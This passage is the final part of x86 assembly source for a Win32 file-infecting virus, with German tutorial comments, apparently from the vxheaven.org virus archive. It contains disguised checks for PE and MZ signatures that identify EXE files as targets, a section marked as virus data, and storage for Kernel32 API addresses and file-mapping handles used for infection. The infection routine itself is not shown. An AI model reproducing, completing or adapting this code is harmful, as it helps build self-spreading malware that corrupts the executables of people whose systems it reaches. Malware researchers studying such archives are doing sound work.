; ---------------------[ PE / MZ Marken überprüfen ]-------------------------
; ***************************************************************************
                           ; Hier testen wir die PE und MZ Marken, damit
                           ; wir die EXE-Dateien identifizieren können
                           ; Diesmal bisserl anders als normal ;)
CheckPESign:
 cmp dword ptr [edi], 'FP' ; größer oder gleich "PF"
 jae NoPESign

 cmp dword ptr [edi], 'DP' ; kleiner oder gleich "PD"
 jbe NoPESign
 
 clc                       ; Alles was überbleibt ist "PE"
 ret
 
NoPESign:
 stc
 ret

CheckMZSign:

 cmp word ptr [esi], '[M'
 jae NoPESign

 cmp word ptr [esi], 'YM'
 jbe NoPESign

 clc
 ret
ret

; ***************************************************************************
; -------------------[ Daten die nicht mitwandern ]--------------------------
; ***************************************************************************
VirusEnd:                  ; Dies hier wird nicht mitwandern...

 K32Handle dd (?)          ; Hier speichern wir das Handle der Kernel32.dll

 XLoadLibraryA    dd (?)   ; Hier die Offsets der ersten beiden API's
 XGetProcAddress  dd (?)

                           ; Alle anderen API - Adressen
 XFindFirstFileA       dd (?)
 XFindNextFileA        dd (?)
 XFindClose            dd (?)
 XCreateFileA          dd (?)
 XCloseHandle          dd (?)
 XCreateFileMappingA   dd (?)
 XMapViewOfFile        dd (?)
 XUnmapViewOfFile      dd (?)

                           ; Daten für die Kernel-Suche
 KernelAddy   dd (?)       ; PE-Header
 MZAddy       dd (?)       ; MZ-Header
 counter  dw (?)           ; Wie viele Namen haben wir getestet

                           ; Daten für die Infektion
 ATableVA dd (?)           ; Address Table VA
 NTableVA dd (?)           ; Name Pointer Table VA
 OTableVA dd (?)           ; Name Pointer Table VA

 NewSize   dd (?)          ; Neue Größe der Datei

                           ; Daten um Dateien zu finden
 WIN32_FIND_DATA         label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

 FileHandle              dd       (?)         ; Handle der Datei
 MapHandle               dd       (?)         ; Handle der Map
 MapAddress              dd       (?)         ; Offset der Map

EndBufferData:

; ***************************************************************************
; ------------------------[ Das wars für heute ]-----------------------------
; ***************************************************************************
end Virus
 
[zurück zum Index] [Kommentare]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua